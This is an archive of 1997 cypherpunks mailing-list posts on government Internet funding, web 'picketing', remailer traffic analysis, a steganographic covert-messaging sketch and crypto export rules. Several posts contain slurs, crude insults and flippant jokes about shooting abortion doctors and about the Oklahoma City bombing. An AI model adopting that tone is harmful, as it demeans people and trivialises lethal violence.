  65. http://www.news.com/News/Item/0,4,11271,00.html?latest
  66. http://www.news.com/News/Item/0,4,11248,00.html?latest
  67. http://www.news.com/News/Item/0,4,11278,00.html?latest
  68. http://www.news.com/News/Item/0,4,11277,00.html?latest
  69. http://www.news.com/News/Item/0,4,11270,00.html?latest
  70. http://www.news.com/News/Item/0,4,11268,00.html?latest
  71. http://www.news.com/News/Item/0,4,11260,00.html?latest
  72. http://www.news.com/News/Item/0,4,11258,00.html?latest
  73. http://www.news.com/News/Item/0,4,11276,00.html?dtn.head#top
  74. http://www.news.com/copyright.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 09:38:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: 0,4,11276,00.html?dtn.head
Message-ID: <199706060130.UAA11234@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706052359.TAA30048@yakko.cs.wmich.edu>, on 06/05/97 
   at 07:59 PM, Damaged Justice <frogfarm@yakko.cs.wmich.edu> said:

>[36]NASA's Ames Research Center hosted the federal government's
>   briefing today in hopes of roping in commercial technology partners to
>   help build the Clinton Administration's three-year, $3 million NGI
>   initiative.
>   

This is yet another example of the Federal Government interfering with the
free market.

The govenrment is not needed to *fix* the Internet backbone. If the
various labs, schools, ..ect need bigger and faster connections then they
need to dig into their pockets and, god forbid, pay for it!

I see absolutly no reason why I as joe sixpack taxpayer should have to
fund through my tax dollars some multi gigabyte backbone that I am not
even allowed to use!!!

<sigh> Hopfully the revolution will come in my lifetime.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 6 Jun 1997 09:53:25 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Government money, Net picketing, and public fora (fwd)
Message-ID: <199706060113.UAA07515@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 05 Jun 1997 13:48:59 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: Government money, Net picketing, and public fora (fwd)

> You're not doing very well.  I can see a number of possible meanings:
> 
> 1) You want to be able to "picket" other people's net traffic,
> and think that the amount of government funding out there gives you some 
> standing to force some parts of the net to carry your "picket signs".
> And therefore you keep posting similar vigorous assertions, in response
> to other people's contentions that this would be bad.

You have been paying NO attention at all, no wonder you are having a hard
time trying to figure it out. Concentrate now, I DO NOT want to picket
anyone for anything at anytime. I have better things to do with my time like
spend my money in another store.

It HAS been my contention from my original post that I DO NOT think this is
a good idea.

I am going to decline responding to the remiander of this since it is a
waste of my meta-carpal tunnel syndrome.

[much inattentive blah deleted]

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 12:07:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Who "invented" remailers?
Message-ID: <199706060305.WAA00673@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970605181309.00767c08@popd.ix.netcom.com>, on 06/05/97
   at 06:13 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>Suppose, for instance, that the Feds (whatever COINTELPRO calls
>themselves these days) are watching Alice the Activist, and find that
>she's using Bob's Remailer.  So they watch Bob's Remailer, and find it's
>sending  traffic to Carol@foobar.com.  Maybe they haven't known about her
>before. Or maybe they check with foobar.com and find she's probably Carol
>the Commie, who they hadn't previously known used email.  No, they can't
>prove that Alice sent mail to Carol - but she's still a lead, and since
>they're both politically incorrect people, it's not a bad guess.
>Even with multiple remailers, say 10, this still works.

Well I guess I should let the cat out of the bag, :)

I have been working on addressing this very problem.

I haven't had time to write a formal paper on this but I can give you some
of the basics.

It makes use of a stego of sorts. Alice would post a message to a non
threating mailing list. In that list certain key words would be
misspelled. Carol would use these key words to tell her to look for a
certain message posted anonymously & encrypted in a newsgroup (stego in a
gif file to a binary group works quite well).

Now it would be possiable to track that Alice was sending messages to a
remailer there would be no way to track that Carol was receiving these
messages. At best it would be know that Carol was a reader of
alt.binaries.japan.cartoons or some other non-threating newsgroup.

Now this requires both Carol & Alice to be running the same software for
generating the spelling stegos and interperting them. It helps if Alice
has the reputation of being a very bad speller (ha and you all laughed at
my spelling mistakes). The use of a special dictionary that contains
common mispellings of common words is a great aid but I have yet to find
one in electronic form. An OTP should be generated and used as a seed to
the software to keep the two systems in synch. This can be encrypted &
stegoed and posted to a pre-selected newsgroup. Once the inital synching
of the two systems have been acomplished new pads can be generated and
distributed by the same mechanisims.

This does not protect Alice from comming under the guns for using a
remailer nor does it provide a way for Carol to reply. The anonymous
remailers could be completly bypassed and both Carrol and Alice could do
all communication through stegoed newsgroup postings. Alos mailing list
need not be used but the plaintext messages could be posted via
newsgroups. There is a reliabilty issue going this route (from my personal
experaince mailing list are more reliable than newsgroups YMMV).

The details of applying such a system is more complex but the above gives
you the basics of it.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 6 Jun 1997 03:59:57 +0800
To: cypherpunks@toad.com
Subject: Re: The New War
Message-ID: <199706051937.VAA04725@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



   http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

Denning thinks export of authentication and signature technology is OK,
but she draws the line at encryption.  This sounds fine, but what happens
when new technologies don't fit into these neat boxes?

How about blind signatures?  Those are used to create anonymous electronic
cash systems.  How comfortable will Denning be when criminals can set up
their own anonymous payment systems?

Would blind signature technology be allowed for export today?

How about zero knowledge protocols?  These can be used to show different
kinds of anonymous credentials and can be used to build anonymous cash
systems in their own right.  Generally, they enhance privacy by allowing
the parties to reveal only the information which is specifically necessary
for a transaction.

Would zero knowledge software be allowed for export today?

How about multiparty computations, or oblivious transfer, or blob
commitments, or any of the other building blocks of tomorrow's crypto
technology?  What is the export status of these going to be?  Will Congress
have experts who put each piece under a microscope and try to judge
whether it will be used for good purposes or bad?  It can't be done.  As
well allow exporting the letter "a" but not "i" since "i" is part of "kill".

This attempt to split cryptology into good and bad technologies won't work.
Knowledge space doesn't work that way.  It's probably not even going to be
possible to identify what is crypto and what isn't.  It's all a matter of dealing
with information in various ways.

Cypherpunks can expose this confusion by implementing other protocols and
trying to get them exported.  Go beyond old-fashioned signatures and
encryption.  These are mainstream today.  Stay on the edge, be ahead of the
curve.  Do something new.

John






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 13:29:22 +0800
To: cypherpunks@toad.com
Subject: Re: Traffic Analysis
In-Reply-To: <199706060248.TAA19439@fat.doobie.com>
Message-ID: <v03102800afbd45e5687d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:48 PM -0700 6/5/97, Huge Cajones Remailer wrote:

>  Has anyone concerned with remailer development spent any time
>actually doing remailer traffic analysis, similar to a cryptographer
>who does cryptanalysis to raise his level of competence?
>  It would be interesting to see the results of messages being sent
>between cypherpunks and encrypted with a "TA" key so that they could
>be separated and logged for traffic analysis. I would like to see
>what kind of results could be divined by those who know remailer
>operations intimately.

Doing "cryptanalysis" on remailer networks would be very nice.

The problem is that providing analysts with source material is vastly more
difficult than the equivalent problems with conventional cryptanalysis,
where ciphertext can be published, and even the algorithm is expected to be
known, with only the key being searched for.

Amateur cryptanalysts of remailers will generally have none of the source
material needed. I can't imagine a simple solution to this, except by doing
simulations of remailers and then doing cryptanalysis on the simulated
results. (Possibly useful, but lacking in persuasive value to others, I
suspect.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 11:57:14 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: IRS Hit
In-Reply-To: <3.0.2.32.19970605170523.00886470@mail.io.com>
Message-ID: <199706060325.WAA00946@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970605170523.00886470@mail.io.com>, on 06/05/97 
   at 05:05 PM, Greg Broiles <gbroiles@netbox.com> said:


>At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>>The defendant is perfectly able to bring charges in this matter against
>>James Dolan personally.  There is precedent in this.  If my read of
>>the judge is accurate he is saying, "go after him because he was acting
>>outside his office".
>>
>>I can't remember the exact name of this decision, but I think it was
>>something like "so-and-so vs. 5 unnamed FBI officers".

>It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
>or
><http://www.findlaw.com/cgi-bin/getcase.pl?court=US&vol=403&invol=388>.

The problem here is that we are talking civil action not criminal
prosecution. Both James Dolan and his co-conspiritors should be up on
criminal charges and spend a nice long vacation at "club fed".

I am sure that the federal appologist on the list will have some excuse
why federal agents should be exempt from procecution when they commit
felonies against the citizens of this country that they are hired to serve
and protect.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:30:40 +0800
To: cypherpunks@toad.com
Subject: Christian IP Network / Re: Webpage picketing (fwd)
Message-ID: <199706060305.XAA21348@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Deters wrote: 
> (This brings to mind another solution:  "The Christian IP Network.
> Guaranteed to not deliver unto you the E-vil packets of the Demons of
> Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or
> Cypherpunks.  We're the ISP that delivers only Family-Valued, God-Blessed
> and Jesus-Approved packets to your customers.  Send lots of money now,
> censors are standing by."  

  If Jesus has a sense of humor, then when he comes back he will make
the announcement only on sites blocked by CyberSitter.
(I will forward the announcement to the list for the benefit of those
list members whose subscription to the "Hot Teenage Sluts" website has
expired.)

SlutMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Fri, 6 Jun 1997 12:58:41 +0800
To: cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bcancel\b/i at line 7  Admin request of type
Message-ID: <199706060420.XAA19797@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Thu Jun  5 22:56:26 1997
From: owner-cypherpunks@algebra.com
Date: Thu, 5 Jun 1997 23:55:50 -0400 (EDT)
Message-Id: <199706060355.XAA06364@www.video-collage.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bcan-cel\b/i at line 7  Admin request of type /\bcan-cel\b/i at line 9  

>From cpunks  Thu Jun  5 23:55:48 1997
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id XAA06352
	for <cypherpunks@algebra.com>; Thu, 5 Jun 1997 23:55:46 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id UAA26788 for cypherpunks-unedited-outgoing; Thu, 5 Jun 1997 20:36:04 -0700 (PDT)
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Date: Thu, 5 Jun 1997 23:36:00 -0400
Message-Id: <199706060336.XAA23074@dhp.com>
X-Authentication-Warning: dhp.com: lucifer set sender to lucifer@dhp.com using -f
Subject: Dimitri McVeigh
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: cypherpunks@toad.com
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Comments: Please report misuse of this automated remailing service to <lucifer@dhp.com>.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Adam Back wrote:
> Hallam-Baker <hallam@ai.mit.edu> writes:
> > I'll accept that the ranting faction do some good work but I've
> > not seen anything usefull out of either Bell or Vulis unless that
> > is you are an FBI agent looking to get a promotion from Freeh.
 
> Dimitri rights code sometimes.  He wrote a can-cel-bot.  Very
> constructive piece of work in an indirect way.  See: having nice
> freely available can-cel-bots enables technically clueless, would
> be-censors to censor more.  They censor more, and cause a nuisance for
> themselves sending out tons of can-cel messages.  This incentivizes
> more and more people to ignore can-cels (the trend in news
> administration these days I understand is to ignore can-cels entirely),
> which means that you can't have your USENET posts censored nearly as
> easily.

  Dimitri has long pushed the envelope of censorship and challenged
those who don't like it to do something about it.
  The reason that Hallam-Baker is able to post thinly veiled "Dimitri
is a cocksucker!" messages to the list is because Dimitri refused to
lay down and quit when he was forcibly censored for his "Gilmore is
a cocksucker!" messages. If the censorship coupe d'etat had succeded,
then Hallam-Baker's post would have been trashed into the flames list.

  Dimitri and others, such as the Freedom-Knights, made it possible to
"route around" the censorship of USENET posts to such an extent that
any attempt I might make to censor Hallam-Baker's demeaning of Dimitri
on USENET would have little effect. 
  The bottom line is that Hallam-Baker's demeaning of Dimitri without
facing censorship on this list and on USENET is partly the result of
the efforts of Dimitri, himself, to fight censorship.
  This is not surprising, since, after all, Dimitri is a cypherpunk.
(Despite all of his claims to the contrary.)

TruthMonger


----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Fri, 6 Jun 1997 14:35:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <v0310280cafbd5e493826@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Is that you, Elsworth Toohey? After all these years...?

> Yes, some pathetic strange little boys swaggering around in never-never
> land.  Lonely individuals with shriveled hearts, stunted morals, and
> feverish imaginations, who brag contemptuously of their superiority
> over "sheeple", and boast of their heroic roles in the coming
> revolution.

> And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
> who is the criminal, it's the people who put their children in the
> daycare center!  There's only one punishment suitable for such
> "criminally stupid" behavior!  Lock and Load!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 6 Jun 1997 14:08:33 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706060440.XAA08064@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 23:46:16 -0500
> Subject: Re: Webpage picketing (fwd)

> Well this is why I had wanted to set the analogies aside. There are some
> real diferences between cyberspace and your metaspace analogy of the
> picket line. In cyberspace there is no sidewalk for your picket to stand
> and for me to pay as little or as much attention as I wish.

But there is, the publicly funded routers on the publicly funded network
which are handling public traffic sitting in nice little queues just waiting
to be processed.

Perhaps a slightly more complicated setup might make it clearer. Consider
that we have some length of fiber laying from Chicago to Salt Lake City.
That fiber is fully owned/funded by the federal government. The two routers
on the end of the cable are also fully owned. Now from those routers extends
another network cable that goes to fully privately owned networks. Now in
Salt Lake City there is a young 14 year old girl that just took an at home
pregnancy test. It turned up positive and she has pretty much lost it. Now
in Chicago there is a webpage for an abortion clinic. Her sister lives in
Chicago. The girl gets on her trusty little bit-pusher and proceeds to
contact that page from a lookup done in Yahoo. Now at this point her parents
still think that what you don't know can't hurt you and her sister has a
vistor for a few days that summer.

Now ask yourself, does a anti-abortion group have any claim to providing
that young girl alternate information that is not pro-abortion?

Perhaps this will better exemplify the demarcation I am making. I admit it
is a thin line, but that is all it takes.

> A more closer analogy between cyberspace and metaspace is that your
> picketors are not standing off to the side but are blocking the door and
> the only way I can enter is to read their signs first. This is the point
> where your picketors have oversteped the bounds of their 1st Amendment
> rights. While the have the right to picket infront of the store they
> cannot interfere with the comming and goings of the customers. The has
> been well tested in the courts. The problem with extending the picket
> analogy to cyberspace is there are no sidewalks. It's all or nothing.
> Either you are blocking the door or you are not

Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
outside an abortion clinic when the picketers are there. I assure you they
are up close and personal. The old ruling of 15ft. seperation was over-turned
just this year I believe. It is true that they may not block you but they are
allowed to delay your journey slightly with civil coverage. I further belive
the court would look at the nature of the Internet and the structure of the
web and determine that a single page at the very beginning or perhaps a
small splash screen first would not be an unwarranted imposition.

I want to make it clear, I am a strict Constitutionalist. I don't see the
government having the delegated authority to spend any public money on the
Internet, human cloning, BATF, DEA, etc. I believe strongly that such
enterprises are best left fully in the state and individuals care. I most
definitely believe that were the 9th and 10th Amendment interpreted and used
actively we would see a massive decline in government intervention and as a
consequence lower taxes.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:50:08 +0800
To: cypherpunks@toad.com
Subject: Webpage anti-abortion picketing...
Message-ID: <199706060347.XAA23758@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> 
> I no more want to slap more spin doctor
> output in front of others than to have to look at it myself. I was mainly
> trying to make a prediction about the future and then seeing, if reasonable,
> how long it took.
> 
> It occurs to me that somebody with the right
> motivation might want to claim that they have a right to put a box on such a
> backbone (ie stand on the sidewalk in front of the store) and scrape for
> particular addresses (ie the business they want to picket). 

  This is precisely why we should fight all efforts of the government
to get their foot in the door in regard to control of the internet.
  I have no doubt that the government will at some point bestow upon
some element of the internet a "gift" of funding of some type that they
will proclaim is for the public benefit. Their true purpose, naturally,
will be to give Joe Grapepicker legal standing to apply to a judge to
uphold his "right" to picket the Safeway website.

  The fact of the matter is, we are currently free to do much as we 
wish to on the internet. Some call this freedom. Unfortunately, it can
also be called "freedom from government interference," which is an
anathema to those in power.
  As long as cypherpunks Timothy McMay and Dimitri Nichols conspire only
to promote electronic freedom on the list, then the rest of the decent,
law-abiding cypherpunks are probably relatively safe. Should they choose
to begin promoting abortion on the list, however, this could change
rapidly.

(It just occured to me that censorship promoters could be considered to
be "Electronic Abortion Activists." Perhaps we need a new censorship
ASSociation to be formed, called the EAA, with Jerry Falwell, et al, 
as its TITular HEADs, and with chapters throughout the CoUNTry.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 13:30:58 +0800
To: cypherpunks@toad.com
Subject: Re: "Clinton has done a great deal for Intel"--more trolling
Message-ID: <199706060456.XAA02146@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <HZZu8D20w165w@bwalk.dm.com>, on 06/06/97 
   at 12:07 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>Tim May <tcmay@got.net> writes:
>> More trolling from Crispin. Why am I not surprised?

>Let's all pledge not to waste any more time responding to KKKent
>KKKrispin.

>[It worked with SternFUD :-) ]

I find Kents posts usefull even though I don't agree with them.

He serves a usefull purpors in many respects.

1: He provides a window into the thinkings of the opposition.

2: Replying to his posts help us to form answers to attacks on various
positions that members of the list support.

3: Gives us pause to reflect on our positions on various issues (who know
he may even be right every now and them <G>).

4: It's no fun preaching to the choir.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:16:31 +0800
To: cypherpunks@toad.com
Subject: Re: "Clinton has done a great deal for Intel"--more trolling
In-Reply-To: <v03102802afbca1f22330@[207.167.93.63]>
Message-ID: <HZZu8D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> More trolling from Crispin. Why am I not surprised?

Let's all pledge not to waste any more time responding to KKKent KKKrispin.

[It worked with SternFUD :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:28:50 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970605132008.27292F-100000@well.com>
Message-ID: <LN1u8D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> Yesterday I forwarded questions about spam from a friend who was speaking
> before the FTC next week. Here are most of the replies I received, which
> I've attached below. Some may have appeared here already.
>
> From: glee harrah cady <glee@netcom.com>
> From: Wei Dai <weidai@eskimo.com>
> From: Stanton McCandlish <mech@eff.org>
> From: Robert Moskowitz <rgm3@chrysler.com>
> From: "Halpert, James - DC" <jhalpert@pipermar.com>
> From: Azeem Azhar <aja@economist.com>
> From: Mark Grant <mark@unicorn.com>
> From: Charlie Stross <charlie@public.antipope.org>
> From: Bill Frantz <frantz@netcom.com>
> From: "Shabbir J. Safdar" <shabbir@vtw.org>
> From: djones@insight.dcss.McMaster.CA (David Jones)
> From: wyang@ktel.osc.edu
> From: clinton@annoy.com (Clinton at Annoy)
> From: Eric Murray <ericm@lne.com>
> From: Ray Everett-Church <ray@everett.org>
> From: Chris Poupart <jyhad@odyssee.net>
> From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
> From: Roger Bohn <Rbohn@UCSD.edu>
>

Declan didn't like what I wrote, so he deleted it.
Good journalism.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 6 Jun 1997 14:05:54 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.96.970605235724.23963A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 5 Jun 1997, Bill Stewart wrote:

> Bell's point that government would be much better behaved if the individuals
> in government could be held individually and personally responsible
> for their actions is certainly valid.  Whether shooting them is an 
> appropriate way to hold them responsible is another discussion (:-).

That was the Founding Fathers' point in instituting direct election
of House members every two years. Bell's point, if it was the 
same, entailed murder.  It's not another discusion of ends. It's
a discussion of means, and his means border on the insane.  That
alone doesn't make his idea criminal in a society with a First
Amendment, but the fact that he had an end in common with other
political thinkers doesn't make his means legitimate.

In other words, Bell's point, as you describe it, has nothing
original to say about ends. It's all about means, and as such
it's pretty well whacko. 

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 14:11:13 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706060554.AAA03052@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706060440.XAA08064@einstein.ssz.com>, on 06/05/97
   at 11:40 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 23:46:16 -0500
>> Subject: Re: Webpage picketing (fwd)

>> Well this is why I had wanted to set the analogies aside. There are some
>> real diferences between cyberspace and your metaspace analogy of the
>> picket line. In cyberspace there is no sidewalk for your picket to stand
>> and for me to pay as little or as much attention as I wish.

>But there is, the publicly funded routers on the publicly funded network
>which are handling public traffic sitting in nice little queues just
>waiting to be processed.

>Perhaps a slightly more complicated setup might make it clearer. Consider
>that we have some length of fiber laying from Chicago to Salt Lake City.
>That fiber is fully owned/funded by the federal government. The two
>routers on the end of the cable are also fully owned. Now from those
>routers extends another network cable that goes to fully privately owned
>networks. Now in Salt Lake City there is a young 14 year old girl that
>just took an at home pregnancy test. It turned up positive and she has
>pretty much lost it. Now in Chicago there is a webpage for an abortion
>clinic. Her sister lives in Chicago. The girl gets on her trusty little
>bit-pusher and proceeds to contact that page from a lookup done in Yahoo.
>Now at this point her parents still think that what you don't know can't
>hurt you and her sister has a vistor for a few days that summer.

>Now ask yourself, does a anti-abortion group have any claim to providing
>that young girl alternate information that is not pro-abortion?

Well yes & no. :)

Yes they have the same free speech right as anyone else. Do they have the
right to force anyone to listen to their speech or force them to
distribute it no. They can put up there own web page and if yahoo choses
to they can provide links to it (thouhg yahoo is not required to do so).
Anyone intrested in listening to what they have to say is free to go to
their web site just as anyone is free to go to the abortion site and read
that info. The anti-abortion group should not be required to present the
views of their opposition and the same for the abortion group.

>Perhaps this will better exemplify the demarcation I am making. I admit
>it is a thin line, but that is all it takes.

>> A more closer analogy between cyberspace and metaspace is that your
>> picketors are not standing off to the side but are blocking the door and
>> the only way I can enter is to read their signs first. This is the point
>> where your picketors have oversteped the bounds of their 1st Amendment
>> rights. While the have the right to picket infront of the store they
>> cannot interfere with the comming and goings of the customers. The has
>> been well tested in the courts. The problem with extending the picket
>> analogy to cyberspace is there are no sidewalks. It's all or nothing.
>> Either you are blocking the door or you are not

>Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
>outside an abortion clinic when the picketers are there. I assure you
>they are up close and personal. The old ruling of 15ft. seperation was
>over-turned just this year I believe. It is true that they may not block
>you but they are allowed to delay your journey slightly with civil
>coverage. I further belive the court would look at the nature of the
>Internet and the structure of the web and determine that a single page at
>the very beginning or perhaps a small splash screen first would not be an
>unwarranted imposition.

Well down here in Pensacola where we like to shoot abortion doctors I
beleive that there is a 50' seperation (other side of the street). I don't
know how the courts would rule but from past rulling against picketors
interfering with the customers of a business I would tend to dissagree. To
be honest I am not up on which way the wind is blowing in the courts on
this issue.

I do feel that the delay is unconstutional. It is where the fine line
between your and my 1st amendment rights cross. The size and amount of
delay is irrelevant from a constitutional standpoint (can't be a little
bit pregnet can't be a little bit unconstitional).

This is where are disagreement over the picket analogy rest. Inoreder for
the picket analogy to be extended to cyberspace it requires me to download
someone's elses speech before I can download the speech that I want to
hear. In metaspace there is a sidewalk for the picketers to stand and I
can pass them by without slowing down never hearing what they have to say.
Here localy I have them well trained, when they see my vette they know not
to block the driveway as I will not slow down for them (actually the sound
of the 427 is enought to get them moving off to the side).

>I want to make it clear, I am a strict Constitutionalist. I don't see the
>government having the delegated authority to spend any public money on
>the Internet, human cloning, BATF, DEA, etc. I believe strongly that such
>enterprises are best left fully in the state and individuals care. I most
>definitely believe that were the 9th and 10th Amendment interpreted and
>used actively we would see a massive decline in government intervention
>and as a consequence lower taxes.

Never questioned it. :)

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
---------------------------------------------------------------

